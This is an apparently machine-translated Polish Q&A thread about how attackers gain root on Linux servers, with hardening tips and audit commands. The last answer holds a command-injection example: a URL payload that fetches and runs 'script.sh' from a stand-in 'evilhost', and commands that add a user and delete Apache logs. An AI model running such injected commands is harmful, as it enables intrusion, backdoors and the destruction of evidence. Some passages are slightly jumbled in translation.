Nie chcę patrzeć na crackera lub coś w tym rodzaju, ale próbuję rozgryźć ten proces (więcej z perspektywy programistycznej).
Więc zakładam (zgaduję), że głównym celem crackera jest uzyskanie dostępu do konta roota w celu zainstalowania dowolnego oprogramowania (lub skryptu), które napisał, prawda? a może instalowanie własnego modułu jądra (który jest przebiegły z jakiegokolwiek powodu) Jak konkretnie osoba to robi?
Wiem, że ludzie używają skryptów do sprawdzania exploitów ...... ale nie widzę, jak to zrobić, a także nie widzę dokładnie, co z nimi robią, gdy je znajdą? Czy sprawdzają wersje pod kątem znanych exploitów ...... a potem, gdy znajdą jeden .......
Wiem, że to wszystko brzmi bardzo nowocześnie. ale ja tylko próbuję dowiedzieć się, jak to działa, ponieważ wiem, że systemy Linux / Unix powinny być bardzo bezpieczne, ale staram się dowiedzieć, jak ktoś mógłby przejść (proces) uzyskania dostępu do roota.
Najważniejszym czynnikiem jest rodzaj dostępu, jaki ma atakujący. Jeśli mają fizyczny dostęp, to jesteś pieprzony. Jeśli zależy Ci tylko na dostępie zdalnym, zależy to od tego, co masz uruchomione; dobra konfiguracja to wszystko. Standardowy serwer linux prawdopodobnie działałby w ftp, ssh, http, https i mysql. SSH jest bezpieczny, ale nie pozwalam na logowanie do konta root, a dobre hasło do każdego konta jest koniecznością. FTP nie działa. Jeśli masz VSFTP i chrootujesz swoich użytkowników, jest to bardzo bezpieczne. Kilka innych wersji ma znane luki w zabezpieczeniach. HTTP będzie prawdopodobnie Twoim najbardziej wrażliwym obszarem. Twoim największym zmartwieniem jest tutaj to, co wykonuje pliki w systemie lub przesyła pliki do systemu. Wstrzykiwanie SQL jest BARDZO trudne, jeśli twoja strona jest wykonana w PHP5. Grupa studentów bezpieczeństwa i ja przez tygodnie próbowaliśmy zastrzyków SQL na niezarządzanej stronie PHP5 i zakończyło się to niepowodzeniem. Z MySQL należy używać użytkownika innego niż root i ograniczyć go do logowania tylko z serwera Apache.
Istnieje kilka wtyczek Firefox do testowania luk w zabezpieczeniach witryny: dostęp do mnie, xss mnie i sql wstrzyknąć
Niektóre duże rzeczy, które zawsze robiłem na zawodach, aby zapewnić bezpieczeństwo:
netstat
- sprawdź otwarte porty i połączenia,w
- kto jest zalogowany, jak długo,ps
- uruchamianie poleceń,/etc/passwd
dla dodatkowych użytkowników/etc/sudoers
dla dostępu sudo.Zazwyczaj po uzyskaniu dostępu atakujący chce uzyskać uprawnienia root. Obecnie istnieje kilka luk w zabezpieczeniach umożliwiających podniesienie uprawnień użytkownika root. Następnie chcą go otworzyć w celu późniejszego dostępu, dodając użytkowników i otwierając tylne drzwi.
Oto strona mojej szkoły dotycząca cyberobrony. Rozejrzyj się i zadaj kilka pytań: https://thislink.doesntexist.org/
źródło
Bezpieczeństwo systemu zależy od umiejętności administratora (administratorów), więc błędem jest twierdzić, że „systemy Linux / Unix powinny być bardzo bezpieczne” :)
Teraz przejdźmy do hakowania ... Istnieje pewien rodzaj narzędzia zwanego „ skanerem podatności ”, takim jak Nessus, który szuka rzeczy do wykorzystania. Istnieją tysiące rzeczy, które mogą pójść nie tak w złożonym systemie, np. Źle skonfigurowany serwer Apache, aby umożliwić przesyłanie dowolnych plików do dowolnych miejsc. Mogą one służyć jako krok naprzód w dalszych exploitach, takich jak uzyskanie dostępu do bazy danych lub konta e-mail, z którego można przywrócić hasła za pomocą funkcji „zapomnij hasło”.
Czasami hack polega na uzyskaniu dostępu i zrobieniu czegoś złego. Czasami ludzie robią to dla zabawy (co jest głupie, nawiasem mówiąc).
I oto historia słynnego hacka, który miał miejsce całkiem niedawno. Myślę, że będzie to przykładowe dla każdego, kto patrzy na bezpieczeństwo! Aby zacytować podsumowanie exploitów:
źródło
Jest tak wiele wektorów ataku, że są prawie nieskończone. Jednym z najprostszych pod względem koncepcyjnym jest publiczne udostępnienie programu i powiedzenie, że robi on coś innego niż naprawdę. Na początku daj użytkownikom przyjazne instrukcje
sudo
i patrz, jak świat się rozwija. Dzieje się tak codziennie w przypadku programów z zamkniętym kodem źródłowym, ponieważ jedna osoba nie jest w stanie wcześniej sprawdzić swojej pracy, jak na przykład na płytach CD Sony .Możesz także spróbować wysłać specjalne ciągi do zdalnego hosta. Na przykład na wysokim poziomie powiedzmy, że masz serwer WWW z uruchomionym oprogramowaniem i że oprogramowanie uruchamia część adresu URL jako polecenie bez ucieczki lub innego zapewnienia, że nie może wyrządzić żadnej szkody. Wyślij coś podobnego
http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh
. Dekodowany ciąg wyszukiwania staje się . Jeśli tak się stanie, skrypt.sh działałby z tymi samymi prawami dostępu, co użytkownik serwera WWW, aby zrobić cokolwiek na komputerze. Czasami ludzie zezwalają na uruchamianie ich jako root dla „wygody”, w tym przypadku synonim lenistwa i / lub nieświadomości. Nawet jeśli nie jest uruchamiany jako root, skrypt może następnie uruchomić tysiące testów dla innych dziur w zainstalowanym oprogramowaniu i uruchomić inne polecenie, jeśli je znajdzie. To ostatnie polecenie może być na przykładfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh
useradd blabla; apt-get install openssh; rm /var/log/apache.log
, aby uzyskać dostęp do SSH i usunąć ślady włamania.[polecenia były oczywiście uproszczone i prawdopodobnie i tak by nie działały. YMMV]
źródło